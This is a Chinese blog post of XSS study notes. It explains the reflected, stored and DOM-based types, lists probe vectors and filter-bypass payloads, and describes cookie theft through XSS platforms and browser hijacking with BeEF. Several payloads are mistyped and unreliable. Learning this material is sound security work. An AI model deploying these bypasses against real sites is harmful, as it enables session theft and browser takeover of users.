xss跨站脚本攻击

https://veo.pub/2019/xsscode/ xss备忘录,挺全的

概述:

主要指攻击者可以再页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份、钓鱼、传播恶意代码和控制用户浏览器等行为

产生原因:

由于web程序对用户的输入过滤不足、,导致用户输入的恶意HTML/Javascript 代码注入到网页中,混淆原有语义,产生新的恶意语句。在其他用户访问网页时,浏览器就会触发恶意的网页代码,从而达到XSS攻击的目的

分类:

反射型:恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击
输入:
在这里插入图片描述

输入语句被写入了html,我点击submit就会弹出用户的cookie

存储型:也叫持久性XSS,当一个玉面(如留言板)有存储型时,插入的的恶意XSS代码会存储到数据库中 ,当访问此页面查看留言时,web程序会从数据库中取出恶意代码插入到页面,导致浏览器触发XSS
在这里插入图片描述

构造这样的payload
在这里插入图片描述

,现在我们重新访问页面,还是会依次弹处hello和nihao,因为我们提交的语句已经被写入数据库中了

Dom型:通过修改页面的DOM节点形成的XSS,从效果上来说也是反射型。
反射型或存储型时服务器将提交的内容反馈到了html源码内,导致触发XSS。也就是说返回到html源码中可以看到触发xss的代码。DOM型XSS只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url 传入参数去控制触发的
在这里插入图片描述
是因为js代码执行了我们输入的payload,而不是html

查找XSS漏洞探测

寻找web应用上的输入与输出口(例如网站输入框、URL参数等等),在可控参数中提交<script>alert(/xss/)</script>等攻击字符串,观察输出点是否对这些字符串进行转移、过滤、实体编码等处理。
在这里插入图片描述
这好像也是xss啊?但其实不是,我们右击选择编辑为html
在这里插入图片描述
发现他是经过url编码的,所以我们输入的payload被进行了编码再被放进html中,从而防止了xss的产生,所以并不会混淆语义。
但是显示在页面中的时候会进行url解码

常用探测向量

所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//

<script>alert(1)</script>
<img scr=x onerror=prompt(1);>
<audio scr=x onerror=prompt(1);>
<a href="http://www.google.com">Clickme</a>
<svg onload=prompt(1);>
<svg οnlοad="alert(1)"//   
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
<style οnlοad=alert(1)></style>

获得cookie

黑客在留言板中插入恶意代码
受害者访问被植入恶意代码的页面
恶意代码将cookir发送给黑客的服务器

一般使用xss平台生成payload,受害者执行之后cookie会被发送到xss平台

一般需要自行搭建xss平台
蓝莲花xss平台搭建教程

内网信息获取

https://github.com/BlackHole1/WebRtcXSS
该平台可以利用xss获取受害者的网络信息,扫描内网存在的漏洞并利用

BEEF(重要)

kali自带
beef利用简单的xss漏洞,通过一段编写好的js代码(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网

XSS绕过

实际环境中,开发人员会对用户的输入进行相应的过滤,这时我们需要fuzz绕过

常见绕过:

大小写转换:<ScrIpt>AlerT("XSS");</SCRiPt>

闭合标签: ><script>alert("XSS");</script>

Hex编码: <scrIpt>alert("XSS");</script>转换为%3c%73%63%72%49%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3b%3c%2f%73%63%72%69%70%74%3e

利用html属性 : 
<img src="javascript:alert("xss");">

空格/tab/回车:
<img src="java script:alert('xss);"width=100>

字符编码
%cl;alert(/xss/.);//

圆括号过滤
<a onmouseover="javascript:window.onerror=alert;throw 1>

;:被过滤
<svg><script>alert&#40/1/&#41</script>

实体解码
&It:/script&gt;&lt;script&gt;alert(1)&It;/script&gt;

编码
使用十六进制、Unicode、HTML等进行编码

Alert被过滤
使用prompt和confirm替代
  • 10
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 11
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

开心星人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值